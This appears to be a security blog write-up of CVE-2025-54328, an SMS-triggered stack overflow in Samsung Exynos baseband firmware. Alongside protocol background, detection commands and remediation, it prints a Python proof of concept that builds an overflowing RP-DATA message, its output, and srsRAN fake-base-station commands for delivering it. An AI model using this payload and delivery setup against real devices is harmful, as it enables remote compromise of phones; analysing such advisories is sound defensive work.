Samsung Exynos SMS Stack Overflow: CVE-2025-54328 — Critical Zero-Click Baseband RCE

A CVSS 10.0 vulnerability in Samsung’s Exynos baseband firmware lets a remote attacker execute arbitrary code on billions of devices — phones, watches, automotive modems, and IoT hardware — by sending a single malicious SMS. No user interaction, no app install, no click required.

Overview

On April 6, 2026, Samsung Semiconductor published a security advisory for CVE-2025-54328, a stack-based buffer overflow in the SMS parsing logic of Samsung Exynos processors. The flaw resides in the RP-DATA message parser — the lowest-level SMS relay protocol defined in 3GPP TS 24.011 — meaning it is processed by the baseband processor before the operating system or any user-facing application ever sees the message.

This is not a browser bug. This is not an app vulnerability. This is a baseband firmware flaw — the kind of bug that lives in the radio processor that manages all cellular communication, independently from Android or whatever OS runs on the application processor.

The CVSS 3.1 score of 10.0 (Critical) reflects the worst-case scenario: network-accessible, low attack complexity, no privileges required, no user interaction, and complete impact across confidentiality, integrity, and availability with scope change (the baseband can be leveraged to compromise the application processor).

In my two decades of working in security engineering, baseband vulnerabilities have always represented a particularly nasty class of bugs. They are hard to patch (firmware updates require carrier approval), hard to detect (the baseband runs its own OS, invisible to the user), and devastatingly effective (they require only a phone number). CVE-2025-54328 is the real deal.

Vulnerability Classification

Related Vulnerabilities in the Same Batch

Samsung’s April 2026 Exynos security update addresses a cluster of baseband vulnerabilities disclosed between April 6–7. CVE-2025-54328 is the most severe, but the full picture is worse than any single CVE suggests:

Five critical and six high-severity vulnerabilities in the baseband and Wi-Fi stack — eleven in total. If you’re running an Exynos device and haven’t updated this week, you need to pay attention.

Affected Products

This vulnerability affects an enormous range of Samsung Exynos processors used across smartphones, wearables, and standalone modem chips. The common thread: the Samsung Shannon baseband firmware that handles all cellular protocol processing.

Mobile Processors (Smartphones & Tablets)

Wearable Processors (Smartwatches)

Standalone Modem Chips

Attack Surface Assessment

Let me put this in perspective. The Exynos processor families listed above ship in hundreds of millions of devices worldwide. The Galaxy A-series alone (A12, A13, A14, A25, A33, A53, A54, A55, A56) represents the best-selling mid-range Android phones on the planet. The S21, S22, and S24 flagship lines in their Exynos variants (sold in Europe, Asia, Africa, and Latin America) are ubiquitous.

Every single one of these devices processes SMS messages through the same vulnerable RP-DATA parser in the Shannon baseband firmware.

Technical Deep Dive

To understand what makes this vulnerability so dangerous, we need to look at how SMS works at the protocol level, and why the baseband processor is such a uniquely attractive target.

SMS Protocol Stack

SMS messages traverse a multi-layer protocol stack before they ever reach the user. Here’s how it works:

┌─────────────────────────────────────────────────────┐
│  Application Layer:  TS 23.040 (SM-TL)              │
│  SMS-SUBMIT / SMS-DELIVER / SMS-STATUS-REPORT        │
│  → Defines TPDU structure, encoding, user data       │
├─────────────────────────────────────────────────────┤
│  Relay Layer:        TS 24.011 (SM-RL)               │
│  RP-DATA / RP-ACK / RP-ERROR                         │
│  → Carries TPDU over the radio interface             │
│  ← VULNERABILITY IS HERE (RP-DATA parser)            │
├─────────────────────────────────────────────────────┤
│  Connection Layer:   TS 24.011 (CP Layer, GSM/UMTS)  │
│  CP-DATA / CP-ACK / CP-ERROR                         │
│  → Wraps RP messages over the signaling connection    │
├─────────────────────────────────────────────────────┤
│  Transport:          DTAP / NAS / RRC / L1            │
│  → Physical radio bearer                             │
└─────────────────────────────────────────────────────┘

The RP-DATA message (defined in 3GPP TS 24.011 Section 7.3.1) is the workhorse of SMS transport. It carries the actual SMS payload — the TPDU from TS 23.040 — between the mobile device and the network. Every SMS you send or receive travels inside an RP-DATA message.

RP-DATA Message Structure

The vulnerability is triggered during parsing of these fields. A stack-based buffer overflow (CWE-121) means that one of these variable-length fields — most likely the RP-User Data or the encapsulated TPDU fields — is copied into a fixed-size stack buffer without proper bounds checking.

Why the Baseband Is the Perfect Target

The baseband processor is a separate processor inside your phone with its own firmware, its own RAM, and its own operating system — typically a proprietary RTOS like ENEA OSE or similar. It handles all cellular communication independently from Android.

From an attacker’s perspective, the baseband is the crown jewel:

1. No user interaction needed — SMS is received and processed automatically by the baseband. The user doesn’t need to open a message, tap a link, or install an app. The mere act of receiving a malicious SMS triggers the vulnerability.

2. Invisible to the OS — The baseband runs its own operating system. Android security features like SELinux, sandboxing, and app permissions don’t apply. The baseband has direct access to the radio hardware and a communication channel to the application processor.

3. Weak mitigations — Baseband RTOS environments typically lack modern exploit mitigations. No ASLR. No stack canaries. No NX/DEP. Code runs in a single address space with all tasks sharing the same memory. This makes exploitation remarkably straightforward compared to targeting Android userspace.

4. Remote and anonymous — An attacker only needs the target’s phone number. SMS can be sent from a cheap SDR (Software Defined Radio) setup with a fake base station, through an SMS gateway service, or through a compromised SMSC. The attacker doesn’t need to be on the same network, in the same country, or even on the same continent.

Attack Flow

Attention! Steps 6–8 assume the attacker has developed a reliable exploit for the Shannon baseband. While the vulnerability itself (the buffer overflow) is confirmed by Samsung’s advisory and the NVD analysis, weaponization into a full remote code execution chain requires exploit development expertise. However, given the lack of ASLR, stack canaries, and NX in baseband environments, developing such an exploit is significantly easier than exploiting a comparable bug in a modern userspace application.

Proof of Concept

The following PoC demonstrates the concept of crafting a malicious SMS RP-DATA message that triggers the stack-based buffer overflow. This is a conceptual PoC for educational purposes. It does not target any specific Samsung firmware version and will not work as-is against a production device without the specific memory layout and firmware details.

Prerequisites

To build and test a PoC in a lab environment, you would need:

• A Samsung Exynos test device with a vulnerable baseband firmware version
• An SDR (Software Defined Radio) such as a USRP B210 or HackRF One
• A fake base station setup using OpenBTS, YateBTS, or srsRAN
• A SIM card programmable for the test network
• Or alternatively, an SMS gateway service for over-the-network testing

Step 1: Understanding the Vulnerable Code Path

Based on the CVE description, the vulnerability is a stack-based buffer overflow during RP-DATA parsing. The most likely vulnerable pattern in C looks something like this:

// Simplified representation of the vulnerable pattern
int parse_rp_data(rp_message_t *msg, uint8_t *data, size_t data_len) {
    uint8_t tpdu_buffer[256];  // Fixed-size stack buffer
    uint8_t tpdu_length;

    // ... parse message type, reference, addresses ...

    tpdu_length = data[offset];   // Read length from packet (attacker-controlled)
    offset++;

    // VULNERABLE: No validation that tpdu_length <= sizeof(tpdu_buffer)
    memcpy(tpdu_buffer, &data[offset], tpdu_length);

    // ... process TPDU ...
    return parse_tpdu(tpdu_buffer, tpdu_length);
}

The attacker controls tpdu_length — it’s read directly from the incoming RP-DATA message. If the firmware doesn’t validate it against the buffer size, any value above the buffer’s fixed size will overflow into adjacent stack frames, overwriting saved registers, the return address, and other critical data.

Step 2: Crafting a Malicious RP-DATA Message

The full PoC source code is available at: https://github.com/Hunt-Benito/samsung-exynos-sms-stack-overflow-cve-2025-54328-critical-zero-click-baseband-rce

Below are the key code paths. The core function builds a malicious RP-DATA message with an oversized TPDU payload:

def build_rp_data_overflow(target_number="1234567890", overflow_size=200):
    msg_type = 0x00          # RP-DATA (Network → MS)
    msg_ref = 0x01

    # ... RP-Originator and Destination Address setup ...

    tpdu = bytearray()
    tpdu.append(0x04)                              # SMS-DELIVER header
    tpdu.extend(b'\x02\x91\x12\xf1')               # TP-OA
    tpdu.append(0x00)                               # TP-PID
    tpdu.append(0x00)                               # TP-DCS
    tpdu.extend(b'\x62\x40\x60\x21\x00\x00\x00')   # TP-SCTS (7 octets)
    tpdu.append(overflow_size)                       # TP-UDL
    tpdu.extend(b'\x41' * overflow_size)            # TP-UD: OVERFLOW PAYLOAD

    rp_user_data = struct.pack('B', len(tpdu)) + tpdu
    rp_data = bytes([msg_type, msg_ref]) + rp_originator + rp_destination + rp_user_data
    return rp_data

The attacker-controlled overflow_size (200 bytes) is written into a fixed-size stack buffer in the baseband firmware, overflowing past its bounds and overwriting the return address.

Step 3: Running the PoC

$ git clone https://github.com/Hunt-Benito/samsung-exynos-sms-stack-overflow-cve-2025-54328-critical-zero-click-baseband-rce.git
$ cd samsung-exynos-sms-stack-overflow-cve-2025-54328-critical-zero-click-baseband-rce
$ python3 poc_cve_2025_54328.py +4412345678
============================================================
CVE-2025-54328 — Conceptual PoC
Samsung Exynos SMS RP-DATA Stack Buffer Overflow
============================================================

[*] Target MSISDN: +4412345678
[*] Overflow payload size: 200 bytes
[*] Total RP-DATA message size: 226 bytes

[*] RP-DATA hex dump (first 64 bytes):
    0000: 00 01 00 05 91 21 43 ff 91 42 65 87 ff 04 02 91
    0010: 12 f1 00 00 62 40 60 21 00 00 00 c8 41 41 41 41
    0020: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
    0030: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
    ... (162 more bytes)

[+] Raw RP-DATA message saved to: cve-2025-54328-poc-rpdata.bin

Step 4: Delivering the Payload via SDR

In a lab environment with a software-defined radio, the attack would proceed as follows:

# Set up a fake BTS using srsRAN
$ sudo srsenb \
    --enb.n_prb=50 \
    --enb.band=3 \
    --enb.dl_earfcn=1575 \
    --enb.tx_gain=80 \
    --enb.rx_gain=40

# In a second terminal, start the EPC (core network)
$ sudo srsepc \
    --mme.apn_name=internet \
    --mme mcc=001 --mme mnc=01

# Send the crafted SMS from the EPC
# (this requires modifying srsRAN's SMS injection
# or using a custom NAS message injector)
$ python3 inject_sms.py \
    --target-imsi 001010000000001 \
    --rpdata-file cve-2025-54328-poc-rpdata.bin

Caveat: The actual injection mechanism depends heavily on the lab setup. In a real-world attack scenario, threat actors have been known to use:
- Commercial IMSI catchers (Stingray-type devices)
- Compromised SMSC access
- SMS gateway services with raw PDU mode
- Rogue femtocells with modified firmware

Why This Works

The key insight is that the RP-DATA parser runs on the baseband processor in a bare-metal RTOS environment with none of the protections we take for granted in modern operating systems:

Without ASLR, the attacker knows exactly where everything is in memory. Without stack canaries, there’s no check that the stack hasn’t been corrupted. Without NX, the stack itself is executable. The only challenge is getting the memory layout of the specific firmware version — and once you have that (which can be extracted from firmware updates), exploitation is mechanical.

Attack Timeline

Samsung’s 9-month turnaround from report to disclosure (June 2025 → April 2026) is within industry norms for baseband vulnerabilities, which require extensive validation and carrier coordination for firmware updates.

Indicators of Compromise

Detecting exploitation of CVE-2025-54328 is inherently difficult because the attack occurs at the baseband level, below the Android OS. However, there are some signals to look for:

Network-Level IOCs

• Silent SMS bursts — Multiple SMS messages sent in rapid succession to a target without corresponding delivery receipts. This could indicate an attacker probing the baseband or exploiting the vulnerability.
• Anomalous SMS origin — SMS messages arriving from unexpected or spoofed originator addresses, especially those with unusual encoding (8-bit binary, UCS-2 with non-standard characters).
• SDR activity — Rogue base station signals detected in the area (check using apps like SDR-based IMSI catcher detectors like SnoopSnitch on Android).

Device-Level IOCs

• Unexpected baseband restart — If the device suddenly loses cellular connectivity and reconnects (visible as a brief “No Service” in the status bar), the baseband may have crashed and rebooted — a sign of a failed exploitation attempt.
• Unusual baseband firmware behavior — After successful exploitation, the device may show:
• Unexplained data usage (exfiltration via the baseband channel)
• Battery drain (sustained radio activity)
• Processes running as root that weren’t there before

Detection Commands

# Check baseband firmware version
$ getprop gsm.version.baseband
# Look for the latest patched version from Samsung

# Check for unexpected radio restarts
$ logcat -b radio -d | grep -i "fatal\|restart\|crash\|panic"
# Radio firmware crashes are logged here

# Monitor for suspicious SMS activity
$ logcat -b radio -d | grep -i "RP-DATA\|SMS\|TPDU"
# Watch for anomalous SMS protocol messages

# Check if the device has been rooted unexpectedly
$ su -c "id" 2>&1
# If this succeeds and you didn't root your device, that's a problem

Remediation

Immediate Actions

1. Update your device firmware immediately. Samsung has released patches for all affected Exynos processors. Check for updates:
   - Samsung Galaxy phones: Settings → Software update → Download and install
   - Samsung Galaxy watches: Galaxy Wearable app → Watch settings → Software update

2. If no patch is available for your device (older models may have slower carrier rollouts):
   - Disable SMS temporarily by enabling Airplane Mode and using Wi-Fi calling
   - Or use a secondary device for SMS communication until patched
   - Consider using an SMS filtering app (limited effectiveness against baseband-level attacks)

Long-Term Mitigations

For Enterprise Security Teams

# MDM push: Check Samsung device baseband versions
# Samsung Knox provides APIs for checking firmware security patch levels

# Samsung Knox CLI command to check security patch level:
$ knoxctl device info --security-patch

# Force firmware update via MDM:
# Samsung E-FOTA (Enterprise Firmware Over-The-Air)
# Deploy the April 2026 security patch baseline as mandatory

# Monitor for exploitation indicators via Knox:
# - Unexpected device root status changes
# - Baseband version downgrade attempts
# - Anomalous cellular data patterns

Broader Context: The Baseband Attack Surface

This vulnerability is not an isolated incident. It’s part of a long history of baseband exploitation that stretches back over a decade. The Samsung Shannon baseband — like all baseband processors — processes untrusted input from the network in a memory-unsafe language (C) with minimal runtime protections.

Historical Baseband Vulnerabilities

The pattern is clear: baseband firmware is a persistent source of critical, remotely exploitable vulnerabilities. The combination of complex protocol parsing, memory-unsafe languages, and absent runtime protections makes baseband processors a reliable target for sophisticated threat actors.

Why Baseband Bugs Keep Happening

From my experience in reverse engineering embedded firmware, the root causes are systemic:

1. Complex specifications — 3GPP standards run to thousands of pages. The SMS protocol alone spans TS 23.040, TS 23.038, and TS 24.011. Every edge case, optional field, and backwards-compatibility path is an opportunity for a parser bug.

2. No fuzzing culture — Baseband firmware is typically tested against protocol conformance test suites, not adversarial fuzzing. The test cases validate that the firmware handles valid input correctly — not that it rejects malicious input safely.

3. Proprietary and closed — The Shannon baseband firmware is closed-source. Independent security researchers can’t audit it. Bugs are found only when someone with the right skills and motivation decides to reverse engineer the firmware.

4. Economic incentives — Carriers and OEMs prioritize time-to-market and interoperability over security. Firmware updates are expensive to deploy (carrier certification) and create customer support overhead.

SOURCES

Samsung Semiconductor Product Security Updates: https://semiconductor.samsung.com/support/quality-support/product-security-updates/
Samsung Advisory for CVE-2025-54328: https://semiconductor.samsung.com/support/quality-support/product-security-updates/cve-2025-54328/
NIST NVD — CVE-2025-54328: https://nvd.nist.gov/vuln/detail/CVE-2025-54328
CVE.org — CVE-2025-54328: https://www.cve.org/CVERecord?id=CVE-2025-54328
3GPP TS 24.011 — Point-to-Point SMS Support on Mobile Radio Interface: https://www.3gpp.org/DynaReport/24011.htm
3GPP TS 23.040 — Technical Realization of the Short Message Service: https://www.3gpp.org/DynaReport/23040.htm
CWE-121 — Stack-based Buffer Overflow: https://cwe.mitre.org/data/definitions/121.html
MITRE CWE — CWE-787 Out-of-bounds Write: https://cwe.mitre.org/data/definitions/787.html
Google Project Zero — Samsung Exynos Modem Vulnerabilities (2023): https://googleprojectzero.blogspot.com/2023/03/multiple-internet-to-baseband-remote-rce.html
Weinmann, R.-P. (2012) — Baseband Attacks: Remote Exploitation of Memory Corruptions in Cellular Protocol Stacks, USENIX WOOT: https://www.usenix.org/conference/woot12/workshop-program/presentation/Weinmann